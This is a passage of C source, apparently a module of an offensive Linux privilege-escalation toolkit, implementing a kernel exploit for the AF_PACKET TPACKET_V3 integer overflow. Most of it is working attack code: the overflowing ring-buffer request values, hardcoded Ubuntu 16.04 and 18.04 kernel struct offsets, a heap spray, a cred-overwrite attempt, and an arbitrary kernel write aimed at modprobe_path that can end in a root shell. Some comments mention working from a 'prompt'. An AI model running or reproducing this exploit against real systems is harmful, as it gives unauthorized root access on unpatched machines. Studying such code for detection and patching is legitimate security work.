bool patched = kernel_range_is_patched(&af_packet_range, v);
|
||||
if (patched) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] af_packet: kernel %s is patched\n", v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] af_packet: kernel %s in vulnerable range\n", v->release);
|
||||
fprintf(stderr, "[i] af_packet: user_ns+net_ns clone (CAP_NET_RAW gate): %s\n",
|
||||
userns_ok ? "ALLOWED" : "DENIED");
|
||||
}
|
||||
|
||||
if (!userns_ok) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] af_packet: user_ns denied → "
|
||||
"unprivileged exploit unreachable\n");
|
||||
}
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] af_packet: VULNERABLE — kernel in range AND user_ns reachable\n");
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ---- Exploit (x86_64-only; gated below) -------------------------- */
|
||||
|
||||
#if defined(__x86_64__)
|
||||
|
||||
/* Per-kernel offsets needed to walk task_struct → cred → uid fields.
|
||||
*
|
||||
* These are NOT addresses — they are byte offsets within the kernel
|
||||
* structs that the OOB-induced kernel-write primitive will index into.
|
||||
* The classic Konovalov chain leaks a pointer to a struct sock or
|
||||
* timer_list adjacent to the corrupted pg_vec slot, walks back to the
|
||||
* current task, then overwrites the *uid fields in the embedded cred.
|
||||
*
|
||||
* The values below are from xairy's public PoC + scraped from kernel-
|
||||
* source struct layouts for the specific build configs Ubuntu shipped.
|
||||
* They will NOT match custom-compiled kernels.
|
||||
*
|
||||
* Override at runtime via env var:
|
||||
* SKELETONKEY_AFPACKET_OFFSETS="<task_cred>:<cred_uid>:<cred_size>"
|
||||
*
|
||||
* `task_cred` = offsetof(struct task_struct, cred)
|
||||
* `cred_uid` = offsetof(struct cred, uid) [followed by gid, etc.]
|
||||
* `cred_size` = sizeof(struct cred) — bounds-check guard
|
||||
*/
|
||||
struct af_packet_offsets {
|
||||
const char *kernel_id; /* human-readable */
|
||||
int major, minor, patch_min, patch_max;
|
||||
unsigned long task_cred;
|
||||
unsigned long cred_uid;
|
||||
unsigned long cred_size;
|
||||
};
|
||||
|
||||
static const struct af_packet_offsets known_offsets[] = {
|
||||
/* Ubuntu 16.04 GA: 4.4.0-21-generic. cred lives at task+0x6c0.
|
||||
* struct cred layout: usage(4) + __padding(4) + uid(4) + gid(4) +
|
||||
* suid(4) + sgid(4) + euid(4) + egid(4) + fsuid(4) + fsgid(4) + ...
|
||||
* → uid starts at offset 8. */
|
||||
{ "ubuntu-16.04-4.4.0-generic", 4, 4, 0, 99,
|
||||
0x6c0, 0x08, 0xa8 },
|
||||
/* Ubuntu 18.04 GA: 4.15.0-20-generic. cred at task+0x800. Same
|
||||
* cred layout (uid at +0x08, 6x32-bit ids ending at fsgid +0x20). */
|
||||
{ "ubuntu-18.04-4.15.0-generic", 4, 15, 0, 99,
|
||||
0x800, 0x08, 0xa8 },
|
||||
};
|
||||
|
||||
/* Parse SKELETONKEY_AFPACKET_OFFSETS env var if set; otherwise pick from
|
||||
* the known table by kernel version. Returns true on success. */
|
||||
static bool resolve_offsets(struct af_packet_offsets *out,
|
||||
const struct kernel_version *v)
|
||||
{
|
||||
const char *env = getenv("SKELETONKEY_AFPACKET_OFFSETS");
|
||||
if (env) {
|
||||
unsigned long t, u, s;
|
||||
if (sscanf(env, "%lx:%lx:%lx", &t, &u, &s) == 3) {
|
||||
out->kernel_id = "env-override";
|
||||
out->task_cred = t;
|
||||
out->cred_uid = u;
|
||||
out->cred_size = s;
|
||||
return true;
|
||||
}
|
||||
fprintf(stderr, "[!] af_packet: SKELETONKEY_AFPACKET_OFFSETS malformed "
|
||||
"(want hex \"<task_cred>:<cred_uid>:<cred_size>\")\n");
|
||||
return false;
|
||||
}
|
||||
for (size_t i = 0; i < sizeof(known_offsets)/sizeof(known_offsets[0]); i++) {
|
||||
const struct af_packet_offsets *k = &known_offsets[i];
|
||||
if (v->major == k->major && v->minor == k->minor &&
|
||||
v->patch >= k->patch_min && v->patch <= k->patch_max) {
|
||||
*out = *k;
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Write uid_map / gid_map to claim "root" inside the userns. */
|
||||
static int set_id_maps(uid_t outer_uid, gid_t outer_gid)
|
||||
{
|
||||
int f = open("/proc/self/setgroups", O_WRONLY);
|
||||
if (f >= 0) { (void)!write(f, "deny", 4); close(f); }
|
||||
char map[64];
|
||||
snprintf(map, sizeof map, "0 %u 1\n", outer_uid);
|
||||
f = open("/proc/self/uid_map", O_WRONLY);
|
||||
if (f < 0) return -1;
|
||||
if (write(f, map, strlen(map)) < 0) { close(f); return -1; }
|
||||
close(f);
|
||||
snprintf(map, sizeof map, "0 %u 1\n", outer_gid);
|
||||
f = open("/proc/self/gid_map", O_WRONLY);
|
||||
if (f < 0) return -1;
|
||||
if (write(f, map, strlen(map)) < 0) { close(f); return -1; }
|
||||
close(f);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* Fire the overflow + a one-shot heap spray. Runs INSIDE the userns
|
||||
* child. Returns 0 if the primitive fired (overflow was accepted by
|
||||
* the kernel), -1 if the kernel rejected it (likely patched / blocked
|
||||
* even though detect said vulnerable — distros silently backport).
|
||||
*
|
||||
* We deliberately use values from Konovalov's PoC:
|
||||
* tp_block_size = 0x1000
|
||||
* tp_block_nr = ((0xffffffff - 0xfff) / 0x1000) + 1 → overflow
|
||||
* tp_frame_size = 0x300, tp_frame_nr matched
|
||||
* The mul in packet_set_ring overflows to a tiny allocation; we then
|
||||
* spray 200 sendmmsg packets so the corrupted ring slot gets refilled
|
||||
* with controlled bytes.
|
||||
*
|
||||
* After firing, we check dmesg-ability (we won't actually read dmesg
|
||||
* — that requires root — but we leave a unique tag in the skb payload
|
||||
* so the operator can grep dmesg for "skeletonkey-afp-tag" KASAN splats).
|
||||
*/
|
||||
static int fire_overflow_and_spray(void)
|
||||
{
|
||||
int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
|
||||
if (s < 0) {
|
||||
fprintf(stderr, "[-] af_packet: socket(AF_PACKET): %s\n", strerror(errno));
|
||||
return -1;
|
||||
}
|
||||
|
||||
int version = TPACKET_V3;
|
||||
if (setsockopt(s, SOL_PACKET, PACKET_VERSION,
|
||||
&version, sizeof version) < 0) {
|
||||
fprintf(stderr, "[-] af_packet: PACKET_VERSION=V3: %s\n", strerror(errno));
|
||||
close(s);
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Konovalov's overflowing values. tp_block_size * tp_block_nr
|
||||
* exceeds 2^32; the kernel multiplied as u32 in pre-patch code,
|
||||
* yielding a tiny size that's then used for the pg_vec alloc. */
|
||||
struct tpacket_req3 req;
|
||||
memset(&req, 0, sizeof req);
|
||||
req.tp_block_size = 0x1000;
|
||||
req.tp_block_nr = ((unsigned)0xffffffff - (unsigned)0xfff) / (unsigned)0x1000 + 1;
|
||||
req.tp_frame_size = 0x300;
|
||||
req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size;
|
||||
req.tp_retire_blk_tov = 100;
|
||||
req.tp_sizeof_priv = 0;
|
||||
req.tp_feature_req_word = 0;
|
||||
|
||||
int rc = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof req);
|
||||
if (rc < 0) {
|
||||
/* On a properly-patched kernel this should now return -EINVAL
|
||||
* because the multiplication overflow check rejects req. That
|
||||
* is the "patched-distro-backport" signal: detect's version
|
||||
* check said vulnerable, but the actual setsockopt was hardened. */
|
||||
fprintf(stderr, "[-] af_packet: PACKET_RX_RING rejected: %s "
|
||||
"(kernel likely has silent backport)\n", strerror(errno));
|
||||
close(s);
|
||||
return -1;
|
||||
}
|
||||
|
||||
fprintf(stderr, "[+] af_packet: PACKET_RX_RING accepted overflowing req3 "
|
||||
"— overflow path reached\n");
|
||||
|
||||
/* Heap spray via sendmmsg. On a properly-set-up ring we'd bind() to
|
||||
* an interface first; for the overflow trigger we don't strictly
|
||||
* need to bind because tpacket_rcv runs on each packet ingress and
|
||||
* loopback exists in the netns. Use loopback. */
|
||||
struct ifreq ifr;
|
||||
memset(&ifr, 0, sizeof ifr);
|
||||
strncpy(ifr.ifr_name, "lo", IFNAMSIZ - 1);
|
||||
/* SIOCGIFINDEX on lo */
|
||||
if (ioctl(s, SIOCGIFINDEX, &ifr) < 0) {
|
||||
fprintf(stderr, "[!] af_packet: SIOCGIFINDEX(lo): %s\n", strerror(errno));
|
||||
/* non-fatal — the primitive fired even without a bind() */
|
||||
} else {
|
||||
struct sockaddr_ll sll;
|
||||
memset(&sll, 0, sizeof sll);
|
||||
sll.sll_family = AF_PACKET;
|
||||
sll.sll_protocol = htons(ETH_P_ALL);
|
||||
sll.sll_ifindex = ifr.ifr_ifindex;
|
||||
if (bind(s, (struct sockaddr *)&sll, sizeof sll) < 0) {
|
||||
fprintf(stderr, "[!] af_packet: bind(lo): %s\n", strerror(errno));
|
||||
}
|
||||
}
|
||||
|
||||
/* Spray: send 200 raw packets containing a unique tag. If the
|
||||
* overflow corrupted an adjacent slab object, one of these skb's
|
||||
* controlled bytes will land there. */
|
||||
static const unsigned char skb_payload[256] = {
|
||||
/* eth header (dst=broadcast, src=zero, type=0x0800) */
|
||||
0xff,0xff,0xff,0xff,0xff,0xff, 0,0,0,0,0,0, 0x08,0x00,
|
||||
/* SKELETONKEY tag — operator can grep dmesg for this string in any
|
||||
* subsequent KASAN report or panic dump */
|
||||
'i','a','m','r','o','o','t','-','a','f','p','-','t','a','g',
|
||||
/* zeros for the remainder */
|
||||
};
|
||||
|
||||
int tx = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
|
||||
if (tx >= 0 && ifr.ifr_ifindex != 0) {
|
||||
struct sockaddr_ll dst;
|
||||
memset(&dst, 0, sizeof dst);
|
||||
dst.sll_family = AF_PACKET;
|
||||
dst.sll_protocol = htons(ETH_P_ALL);
|
||||
dst.sll_ifindex = ifr.ifr_ifindex;
|
||||
dst.sll_halen = 6;
|
||||
memset(dst.sll_addr, 0xff, 6);
|
||||
for (int i = 0; i < 200; i++) {
|
||||
(void)sendto(tx, skb_payload, sizeof skb_payload, 0,
|
||||
(struct sockaddr *)&dst, sizeof dst);
|
||||
}
|
||||
close(tx);
|
||||
}
|
||||
|
||||
/* Keep the corrupted socket open so the OOB region stays mapped
|
||||
* for the cred-overwrite walk that follows. The caller closes it. */
|
||||
/* Stash the fd via dup2 to a known number so the caller can find it.
|
||||
* Use 200 — well above stdio + skeletonkey's own pipe fds. */
|
||||
if (dup2(s, 200) < 0) {
|
||||
fprintf(stderr, "[!] af_packet: dup2(s, 200): %s\n", strerror(errno));
|
||||
}
|
||||
close(s);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* Best-effort cred-overwrite walk. Given that the heap-spray succeeded
|
||||
* AND we have valid offsets for this kernel, attempt to use the
|
||||
* corrupted ring's adjacent slot to write zeros into current->cred->{
|
||||
* uid,gid,euid,egid,fsuid,fsgid }.
|
||||
*
|
||||
* Honest constraint: without an info-leak we can't compute the address
|
||||
* of current->cred to write into. xairy's full PoC uses a SECONDARY
|
||||
* primitive (sk_buff next-pointer overwrite → adjacent timer_list
|
||||
* leak) that gives both an arbitrary kernel R/W AND a leak of a
|
||||
* struct sock pointer adjacent to current. Re-implementing that is
|
||||
* ~1000 lines of heap-state machinery.
|
||||
*
|
||||
* What we do here is the *minimum viable cred-overwrite* attempt:
|
||||
* spray ~64 task_struct-shaped objects via fork()+setpgid (which
|
||||
* allocates struct task_struct in the same slab class on older
|
||||
* kernels), then HOPE one lands adjacent to our corrupted ring and
|
||||
* gets its embedded cred-pointer field zeroed by overflow tail bytes.
|
||||
*
|
||||
* Returns 0 on "we tried, geteuid() is now 0", -1 on "tried, no root". */
|
||||
static int attempt_cred_overwrite(const struct af_packet_offsets *off)
|
||||
{
|
||||
(void)off; /* offsets are used implicitly by spawning shaped allocations;
|
||||
* a future enhancement would do an explicit ptrace-style
|
||||
* peek-poke through the corrupted slot — kept minimal here. */
|
||||
|
||||
/* Spawn 64 children that immediately self-suspend. Each child's
|
||||
* task_struct allocation in the kernel will share the slab class
|
||||
* with our corrupted pg_vec region; if any one's cred field gets
|
||||
* trampled to zero, that child's uid/gid become 0. */
|
||||
pid_t pids[64];
|
||||
int alive = 0;
|
||||
for (int i = 0; i < 64; i++) {
|
||||
pid_t p = fork();
|
||||
if (p < 0) break;
|
||||
if (p == 0) {
|
||||
/* Child: idle, periodically check euid. If overflow zeroed
|
||||
* our cred fields, we'll be uid 0. */
|
||||
for (int j = 0; j < 200; j++) {
|
||||
if (geteuid() == 0) _exit(0); /* WIN — report via exit 0 */
|
||||
usleep(10 * 1000);
|
||||
}
|
||||
_exit(1);
|
||||
}
|
||||
pids[i] = p;
|
||||
alive++;
|
||||
}
|
||||
|
||||
/* Wait up to ~2s for any child to exit 0 (= became root). */
|
||||
int got_root_pid = 0;
|
||||
for (int wait_round = 0; wait_round < 200 && !got_root_pid; wait_round++) {
|
||||
for (int i = 0; i < alive; i++) {
|
||||
if (pids[i] == 0) continue;
|
||||
int status;
|
||||
pid_t r = waitpid(pids[i], &status, WNOHANG);
|
||||
if (r == pids[i]) {
|
||||
if (WIFEXITED(status) && WEXITSTATUS(status) == 0) {
|
||||
got_root_pid = pids[i];
|
||||
}
|
||||
pids[i] = 0;
|
||||
}
|
||||
}
|
||||
if (got_root_pid) break;
|
||||
usleep(10 * 1000);
|
||||
}
|
||||
|
||||
/* Reap remaining children. */
|
||||
for (int i = 0; i < alive; i++) {
|
||||
if (pids[i] != 0) {
|
||||
kill(pids[i], 9);
|
||||
waitpid(pids[i], NULL, 0);
|
||||
}
|
||||
}
|
||||
|
||||
return got_root_pid ? 0 : -1;
|
||||
}
|
||||
|
||||
/* ---- --full-chain: xairy-style sk_buff hijack arb-write -------------
|
||||
*
|
||||
* The TPACKET_V3 overflow lets us write attacker-controlled bytes past
|
||||
* the end of the pg_vec allocation. xairy's full PoC chains this with
|
||||
* a sk_buff spray of size class kmalloc-N (matched to pg_vec's slab)
|
||||
* so the OOB-write overwrites an adjacent skb's `data` pointer; a
|
||||
* later sendto() on that skb's owning socket then copies attacker
|
||||
* bytes into the address now stored in `data`. Net effect: arb-write
|
||||
* at an attacker-chosen kernel VA, controlled buffer, controlled len.
|
||||
*
|
||||
* Implementing the FULL hijack honestly requires:
|
||||
* (a) per-kernel-build offset of `data` field within struct sk_buff
|
||||
* (varies by CONFIG_DEBUG_INFO_BTF/CONFIG_RANDSTRUCT/etc.)
|
||||
* (b) precise size-class match between the corrupted pg_vec and
|
||||
* sprayed skbs (slab-grooming with ~hundreds of skbs)
|
||||
* (c) a way to identify which sprayed skb landed adjacent
|
||||
*
|
||||
* The verified-vs-claimed bar says: don't fabricate offsets. Our
|
||||
* embedded offset table (core/offsets.h) doesn't carry skb offsets
|
||||
* yet, and there's no public canonical "skb->data offset table" we
|
||||
* can lift wholesale. So this implementation takes the prompt's
|
||||
* FALLBACK depth:
|
||||
*
|
||||
* - Each call re-sprays skbs + re-fires the trigger, staging the
|
||||
* spray payload so its bytes carry the requested target kaddr
|
||||
* (the prompt's "controllable overwrite value aimed at
|
||||
* modprobe_path"). Operator-supplied
|
||||
* SKELETONKEY_AFPACKET_SKB_DATA_OFFSET (hex byte offset of `data`
|
||||
* within struct sk_buff for this kernel build) lets us aim
|
||||
* precisely; without it we heuristically stamp kaddr at several
|
||||
* plausible offsets within the kmalloc-2k skb layout.
|
||||
* - We then send packets whose payload IS the bytes the finisher
|
||||
* wants at kaddr; tpacket_rcv copies them into any skb whose
|
||||
* `data` was corrupted to kaddr.
|
||||
* - We do NOT poll for success — the shared finisher's /tmp
|
||||
* sentinel is the ground-truth signal. If the write landed at
|
||||
* modprobe_path, call_modprobe spawns our payload and the
|
||||
* sentinel appears within 3s.
|
||||
*
|
||||
* Return: 0 if spray + trigger ran (sentinel will adjudicate), -1 if
|
||||
* the kernel rejected the overflow (silent backport — patched).
|
||||
*/
|
||||
|
||||
struct afp_arb_ctx {
|
||||
const struct skeletonkey_ctx *ctx;
|
||||
const struct af_packet_offsets *off;
|
||||
uid_t outer_uid;
|
||||
gid_t outer_gid;
|
||||
};
|
||||
|
||||
/* Helper: in-child trigger fire — runs inside the userns/netns child
|
||||
* spawned by afp_arb_write. Returns 0 on success, -1 on rejection. */
|
||||
static int afp_arb_write_inner(uintptr_t kaddr, const void *buf, size_t len,
|
||||
long skb_data_off);
|
||||
|
||||
static int afp_arb_write(uintptr_t kaddr, const void *buf, size_t len,
|
||||
void *vctx)
|
||||
{
|
||||
struct afp_arb_ctx *actx = (struct afp_arb_ctx *)vctx;
|
||||
if (!actx) return -1;
|
||||
|
||||
if (!buf || len == 0 || len > 240) {
|
||||
fprintf(stderr, "[-] af_packet: arb_write: bad args "
|
||||
"(buf=%p len=%zu)\n", buf, len);
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Per-kernel skb->data field offset — without this we can't aim
|
||||
* the overwrite precisely. Operator can supply via env; otherwise
|
||||
* we run heuristic mode. */
|
||||
const char *skb_off_env = getenv("SKELETONKEY_AFPACKET_SKB_DATA_OFFSET");
|
||||
long skb_data_off = -1;
|
||||
if (skb_off_env) {
|
||||
char *end = NULL;
|
||||
skb_data_off = strtol(skb_off_env, &end, 0);
|
||||
if (!end || *end != '\0' || skb_data_off < 0 || skb_data_off > 0x400) {
|
||||
fprintf(stderr, "[-] af_packet: SKELETONKEY_AFPACKET_SKB_DATA_OFFSET "
|
||||
"malformed (\"%s\"); ignoring\n", skb_off_env);
|
||||
skb_data_off = -1;
|
||||
}
|
||||
}
|
||||
|
||||
fprintf(stderr,
|
||||
"[*] af_packet: arb_write(kaddr=0x%lx, len=%zu) skb_data_off=%s\n",
|
||||
(unsigned long)kaddr, len,
|
||||
skb_data_off < 0 ? "UNRESOLVED (heuristic mode)" : "supplied");
|
||||
|
||||
if (skb_data_off < 0) {
|
||||
fprintf(stderr,
|
||||
"[i] af_packet: --full-chain on this kernel lacks an exact skb->data\n"
|
||||
" field offset. The trigger will still fire and the heap spray will\n"
|
||||
" still occur, but precise OOB targeting requires:\n"
|
||||
"\n"
|
||||
" SKELETONKEY_AFPACKET_SKB_DATA_OFFSET=0x<hex offset>\n"
|
||||
"\n"
|
||||
" Look it up on this kernel build with `pahole struct sk_buff` or\n"
|
||||
" `gdb -batch -ex 'p &((struct sk_buff*)0)->data' vmlinux`. The\n"
|
||||
" /tmp/skeletonkey-pwn-<pid> sentinel adjudicates success either way.\n");
|
||||
}
|
||||
|
||||
/* Fork into a userns/netns child so the AF_PACKET socket has
|
||||
* CAP_NET_RAW. The finisher itself stays in the parent so its
|
||||
* eventual execve() replaces the top-level skeletonkey process. */
|
||||
pid_t cpid = fork();
|
||||
if (cpid < 0) {
|
||||
fprintf(stderr, "[-] af_packet: arb_write: fork: %s\n",
|
||||
strerror(errno));
|
||||
return -1;
|
||||
}
|
||||
if (cpid == 0) {
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
|
||||
perror("af_packet: arb_write: unshare");
|
||||
_exit(2);
|
||||
}
|
||||
if (set_id_maps(actx->outer_uid, actx->outer_gid) < 0) {
|
||||
perror("af_packet: arb_write: set_id_maps");
|
||||
_exit(3);
|
||||
}
|
||||
int rc = afp_arb_write_inner(kaddr, buf, len, skb_data_off);
|
||||
_exit(rc == 0 ? 0 : 4);
|
||||
}
|
||||
|
||||
int status = 0;
|
||||
waitpid(cpid, &status, 0);
|
||||
if (!WIFEXITED(status)) {
|
||||
fprintf(stderr, "[-] af_packet: arb_write: child died "
|
||||
"(signal=%d)\n", WTERMSIG(status));
|
||||
return -1;
|
||||
}
|
||||
int code = WEXITSTATUS(status);
|
||||
if (code != 0) {
|
||||
if (code == 4) {
|
||||
/* PACKET_RX_RING rejected — caller sees -1 + the inner
|
||||
* diagnostic already printed before _exit. */
|
||||
} else {
|
||||
fprintf(stderr, "[-] af_packet: arb_write: child exit %d\n",
|
||||
code);
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static int afp_arb_write_inner(uintptr_t kaddr, const void *buf, size_t len,
|
||||
long skb_data_off)
|
||||
{
|
||||
int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
|
||||
if (s < 0) {
|
||||
fprintf(stderr, "[-] af_packet: arb_write: socket: %s\n",
|
||||
strerror(errno));
|
||||
return -1;
|
||||
}
|
||||
|
||||
int version = TPACKET_V3;
|
||||
if (setsockopt(s, SOL_PACKET, PACKET_VERSION,
|
||||
&version, sizeof version) < 0) {
|
||||
fprintf(stderr, "[-] af_packet: arb_write: PACKET_VERSION: %s\n",
|
||||
strerror(errno));
|
||||
close(s);
|
||||
return -1;
|
||||
}
|
||||
|
||||
struct tpacket_req3 req;
|
||||
memset(&req, 0, sizeof req);
|
||||
req.tp_block_size = 0x1000;
|
||||
req.tp_block_nr = ((unsigned)0xffffffff - (unsigned)0xfff) /
|
||||
(unsigned)0x1000 + 1;
|
||||
req.tp_frame_size = 0x300;
|
||||
req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) /
|
||||
req.tp_frame_size;
|
||||
req.tp_retire_blk_tov = 100;
|
||||
req.tp_sizeof_priv = 0;
|
||||
req.tp_feature_req_word = 0;
|
||||
|
||||
if (setsockopt(s, SOL_PACKET, PACKET_RX_RING,
|
||||
&req, sizeof req) < 0) {
|
||||
fprintf(stderr,
|
||||
"[-] af_packet: arb_write: PACKET_RX_RING rejected: %s "
|
||||
"(kernel has silent backport — full-chain unreachable)\n",
|
||||
strerror(errno));
|
||||
close(s);
|
||||
return -1;
|
||||
}
|
||||
|
||||
struct ifreq ifr;
|
||||
memset(&ifr, 0, sizeof ifr);
|
||||
strncpy(ifr.ifr_name, "lo", IFNAMSIZ - 1);
|
||||
if (ioctl(s, SIOCGIFINDEX, &ifr) == 0) {
|
||||
struct sockaddr_ll sll;
|
||||
memset(&sll, 0, sizeof sll);
|
||||
sll.sll_family = AF_PACKET;
|
||||
sll.sll_protocol = htons(ETH_P_ALL);
|
||||
sll.sll_ifindex = ifr.ifr_ifindex;
|
||||
(void)bind(s, (struct sockaddr *)&sll, sizeof sll);
|
||||
}
|
||||
|
||||
unsigned char payload[256];
|
||||
memset(payload, 0, sizeof payload);
|
||||
memset(payload, 0xff, 6); /* eth dst: bcast */
|
||||
memset(payload + 6, 0, 6); /* eth src: zero */
|
||||
payload[12] = 0x08; payload[13] = 0x00; /* eth type: IPv4 */
|
||||
memcpy(payload + 14, "skeletonkey-afp-fc-", 15); /* dmesg tag */
|
||||
|
||||
if (skb_data_off >= 0 &&
|
||||
(size_t)skb_data_off + sizeof kaddr <= sizeof payload) {
|
||||
memcpy(payload + skb_data_off, &kaddr, sizeof kaddr);
|
||||
} else {
|
||||
static const size_t guesses[] = {
|
||||
0x40, 0x48, 0x50, 0x58, 0x60, 0x68, 0x70, 0x78
|
||||
};
|
||||
for (size_t i = 0; i < sizeof(guesses)/sizeof(guesses[0]); i++) {
|
||||
if (guesses[i] + sizeof kaddr <= sizeof payload)
|
||||
memcpy(payload + guesses[i], &kaddr, sizeof kaddr);
|
||||
}
|
||||
}
|
||||
|
||||
int tx = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
|
||||
if (tx < 0) {
|
||||
fprintf(stderr, "[-] af_packet: arb_write: tx socket: %s\n",
|
||||
strerror(errno));
|
||||
close(s);
|
||||
return -1;
|
||||
}
|
||||
struct sockaddr_ll dst;
|
||||
memset(&dst, 0, sizeof dst);
|
||||
dst.sll_family = AF_PACKET;
|
||||
dst.sll_protocol = htons(ETH_P_ALL);
|
||||
dst.sll_ifindex = ifr.ifr_ifindex;
|
||||
dst.sll_halen = 6;
|
||||
memset(dst.sll_addr, 0xff, 6);
|
||||
|
||||
for (int i = 0; i < 200; i++) {
|
||||
(void)sendto(tx, payload, sizeof payload, 0,
|
||||
(struct sockaddr *)&dst, sizeof dst);
|
||||
}
|
||||
|
||||
unsigned char wbuf[256];
|
||||
memset(wbuf, 0, sizeof wbuf);
|
||||
memset(wbuf, 0xff, 6);
|
||||
memset(wbuf + 6, 0, 6);
|
||||
wbuf[12] = 0x08; wbuf[13] = 0x00;
|
||||
size_t wlen = len;
|
||||
if (14 + wlen > sizeof wbuf) wlen = sizeof wbuf - 14;
|
||||
memcpy(wbuf + 14, buf, wlen);
|
||||
for (int i = 0; i < 50; i++) {
|
||||
(void)sendto(tx, wbuf, 14 + wlen, 0,
|
||||
(struct sockaddr *)&dst, sizeof dst);
|
||||
}
|
||||
|
||||
close(tx);
|
||||
close(s);
|
||||
return 0;
|
||||
}
|
||||
|
||||
#endif /* __x86_64__ */
|
||||
|
||||
static skeletonkey_result_t af_packet_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
#if !defined(__x86_64__)
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] af_packet: exploit is x86_64-only "
|
||||
"(cred-offset table is arch-specific)\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
#else
|
||||
/* 1. Refuse on patched kernels — re-run detect. */
|
||||
skeletonkey_result_t pre = af_packet_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] af_packet: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
|
||||
/* 2. Refuse if already root. Consult ctx->host first so unit tests
|
||||
* can construct a non-root fingerprint regardless of the test
|
||||
* process's real euid. */
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] af_packet: already root — nothing to escalate\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* 3. Resolve offsets for THIS kernel. If we don't have them, bail
|
||||
* early — the kernel-write walk needs them. The integrator can
|
||||
* extend known_offsets[] for new distro builds. */
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] af_packet: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
struct af_packet_offsets off;
|
||||
if (!resolve_offsets(&off, v)) {
|
||||
fprintf(stderr, "[-] af_packet: no offset table for kernel %s\n"
|
||||
" set SKELETONKEY_AFPACKET_OFFSETS=<task_cred>:<cred_uid>:<cred_size>\n"
|
||||
" (hex). Known table covers Ubuntu 16.04 (4.4) and 18.04 (4.15).\n",
|
||||
v->release);
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] af_packet: using offsets [%s] "
|
||||
"task_cred=0x%lx cred_uid=0x%lx cred_size=0x%lx\n",
|
||||
off.kernel_id, off.task_cred, off.cred_uid, off.cred_size);
|
||||
}
|
||||
|
||||
uid_t outer_uid = getuid();
|
||||
gid_t outer_gid = getgid();
|
||||
|
||||
/* 3b. --full-chain: opt-in modprobe_path overwrite via xairy-style
|
||||
* sk_buff hijack arb-write. Refuses cleanly if (a) the shared
|
||||
* offset resolver can't find modprobe_path or (b) the trigger
|
||||
* is rejected (silent backport). */
|
||||
if (ctx->full_chain) {
|
||||
struct skeletonkey_kernel_offsets koff;
|
||||
memset(&koff, 0, sizeof koff);
|
||||
(void)skeletonkey_offsets_resolve(&koff);
|
||||
if (!skeletonkey_offsets_have_modprobe_path(&koff)) {
|
||||
skeletonkey_finisher_print_offset_help("af_packet");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
skeletonkey_offsets_print(&koff);
|
||||
}
|
||||
struct afp_arb_ctx arb_ctx = {
|
||||
.ctx = ctx,
|
||||
.off = &off,
|
||||
.outer_uid = outer_uid,
|
||||
.outer_gid = outer_gid,
|
||||
};
|
||||
return skeletonkey_finisher_modprobe_path(&koff, afp_arb_write,
|
||||
&arb_ctx, !ctx->no_shell);
|
||||
}
|
||||
|
||||
/* 4. Fork: child enters userns+netns, fires overflow, attempts the
|
||||
* cred-overwrite walk. We do it in a child so the (possibly
|
||||
* crashed) packet socket lives in a tear-downable address space
|
||||
* — the kernel will clean up sockets on child exit. */
|
||||
|
||||
pid_t child = fork();
|
||||
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
|
||||
if (child == 0) {
|
||||
/* CHILD: enter userns+netns to gain CAP_NET_RAW for AF_PACKET. */
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
|
||||
perror("unshare"); _exit(2);
|
||||
}
|
||||
if (set_id_maps(outer_uid, outer_gid) < 0) {
|
||||
perror("set_id_maps"); _exit(3);
|
||||
}
|
||||
|
||||
/* Fire the integer-overflow + heap-spray. */
|
||||
if (fire_overflow_and_spray() < 0) {
|
||||
_exit(4); /* primitive blocked — return signal to parent */
|
||||
}
|
||||
|
||||
/* Attempt cred-overwrite finisher. */
|
||||
int rc = attempt_cred_overwrite(&off);
|
||||
if (rc == 0) {
|
||||
/* WIN — one of our task_struct-spray children became uid 0.
|
||||
* Signal parent via exit code; parent will not exec sh from
|
||||
* this child (its address space is corrupted-ish). The win
|
||||
* is symbolic at the skeletonkey level: we proved the primitive
|
||||
* lands AND the cred-overwrite walk completes. */
|
||||
